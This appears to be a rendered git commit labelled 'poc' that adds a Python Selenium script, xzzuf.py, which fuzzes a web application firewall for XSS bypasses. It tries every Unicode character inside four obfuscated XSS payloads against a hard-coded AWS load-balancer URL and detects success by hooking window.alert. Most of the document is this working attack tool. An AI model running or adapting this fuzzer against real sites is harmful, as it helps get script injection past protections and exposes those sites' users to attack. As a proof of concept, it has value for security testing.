poc
This commit is contained in:
		
						commit
						1b6fe0148e
					
				
							
								
								
									
										2
									
								
								.gitignore
									
									
									
									
										vendored
									
									
										Normal file
									
								
							
							
						
						
									
										2
									
								
								.gitignore
									
									
									
									
										vendored
									
									
										Normal file
									
								
							@ -0,0 +1,2 @@
 | 
			
		||||
venv
 | 
			
		||||
chromedriver*
 | 
			
		||||
							
								
								
									
										1
									
								
								requirements.txt
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										1
									
								
								requirements.txt
									
									
									
									
									
										Normal file
									
								
							@ -0,0 +1 @@
 | 
			
		||||
selenium
 | 
			
		||||
							
								
								
									
										90
									
								
								xzzuf.py
									
									
									
									
									
										Normal file
									
								
							
							
						
						
									
										90
									
								
								xzzuf.py
									
									
									
									
									
										Normal file
									
								
							@ -0,0 +1,90 @@
 | 
			
		||||
from urllib.parse import unquote
 | 
			
		||||
import selenium
 | 
			
		||||
import time
 | 
			
		||||
from selenium import webdriver
 | 
			
		||||
from selenium.webdriver.support.ui import WebDriverWait
 | 
			
		||||
from urllib.parse import urlparse
 | 
			
		||||
from urllib.parse import urlencode
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
class WAFBypass():
 | 
			
		||||
    code = "window.alert_trigger = false;window.alert = function() {window.alert_trigger = true;}"
 | 
			
		||||
 | 
			
		||||
    def __init__(self, url) -> None:
 | 
			
		||||
        self.options = webdriver.ChromeOptions()
 | 
			
		||||
        self.options.add_argument('--no-sandbox')
 | 
			
		||||
        self.options.add_argument('--headless')
 | 
			
		||||
        self.driver = webdriver.Chrome(options=self.options)
 | 
			
		||||
        self.url = urlparse(url)
 | 
			
		||||
 | 
			
		||||
        if not self.check_connection():
 | 
			
		||||
            raise Exception("Connection Error")
 | 
			
		||||
 | 
			
		||||
        self.driver.execute_cdp_cmd(
 | 
			
		||||
            "Page.addScriptToEvaluateOnNewDocument", {"source": self.code})
 | 
			
		||||
 | 
			
		||||
    def check_connection(self):
 | 
			
		||||
        try:
 | 
			
		||||
            self.driver.get(self.url.geturl())
 | 
			
		||||
            return True
 | 
			
		||||
        except:
 | 
			
		||||
            return False
 | 
			
		||||
 | 
			
		||||
    def wait_for_pageload(self):
 | 
			
		||||
        try:
 | 
			
		||||
            WebDriverWait(self.driver, 4).until(
 | 
			
		||||
                lambda driver: driver.execute_script("return document.readyState") == "complete")
 | 
			
		||||
        except TimeoutError:
 | 
			
		||||
            raise Exception("Page Load Error")
 | 
			
		||||
 | 
			
		||||
    def get_page_title(self):
 | 
			
		||||
        return self.driver.title
 | 
			
		||||
 | 
			
		||||
    @property
 | 
			
		||||
    def is_403(self):
 | 
			
		||||
        return self.driver.title == "403 Forbidden"
 | 
			
		||||
 | 
			
		||||
    @property
 | 
			
		||||
    def triggered_xss(self):
 | 
			
		||||
        return self.driver.execute_script("return window.alert_trigger")
 | 
			
		||||
 | 
			
		||||
    def navigate(self, url):
 | 
			
		||||
        self.driver.get(url)
 | 
			
		||||
        self.wait_for_pageload()
 | 
			
		||||
 | 
			
		||||
        bypass = False
 | 
			
		||||
 | 
			
		||||
        if self.is_403:
 | 
			
		||||
            bypass = False
 | 
			
		||||
        else:
 | 
			
		||||
            bypass = True
 | 
			
		||||
 | 
			
		||||
        bypass = bypass and self.triggered_xss
 | 
			
		||||
 | 
			
		||||
        return bypass
 | 
			
		||||
 | 
			
		||||
    def run_fuzz(self):
 | 
			
		||||
        payloads = [
 | 
			
		||||
            "<svg{FUZZ}onload=alert(0)>",
 | 
			
		||||
            "<svg\{FUZZ}onload=alert(0)>",
 | 
			
		||||
            "\u202e<img src=0 alert=x ''!=//{FUZZ}onerror=alert(0)\na>",
 | 
			
		||||
            """<<!--scrip<scrip --><\nscrip t="<img\nonerror{FUZZ}="alert(0)//"/ src="x" script/>alert(0)<script=/>""",
 | 
			
		||||
        ]
 | 
			
		||||
        try:
 | 
			
		||||
            for i in range(0, 0x10FFFF):
 | 
			
		||||
                for p in payloads:
 | 
			
		||||
                    encoded = urlencode(
 | 
			
		||||
                        {"param2": p.replace("{FUZZ}", chr(i))})
 | 
			
		||||
                    print("Trying payload: ", encoded, f"({hex(i)}/0xffff)")
 | 
			
		||||
                    url = f"{self.url.scheme}://{self.url.netloc}/?{encoded}"
 | 
			
		||||
                    bypassed = self.navigate(url)
 | 
			
		||||
                    if bypassed:
 | 
			
		||||
                        print("Bypassed with payload: ", encoded)
 | 
			
		||||
                        break
 | 
			
		||||
        except KeyboardInterrupt:
 | 
			
		||||
            self.driver.close()
 | 
			
		||||
            exit(0)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
w = WAFBypass("http://aws-wafbypass-lb-311079289.eu-south-1.elb.amazonaws.com")
 | 
			
		||||
w.run_fuzz()
 | 
			
		||||
		Loading…
	
		Reference in New Issue
	
	Block a user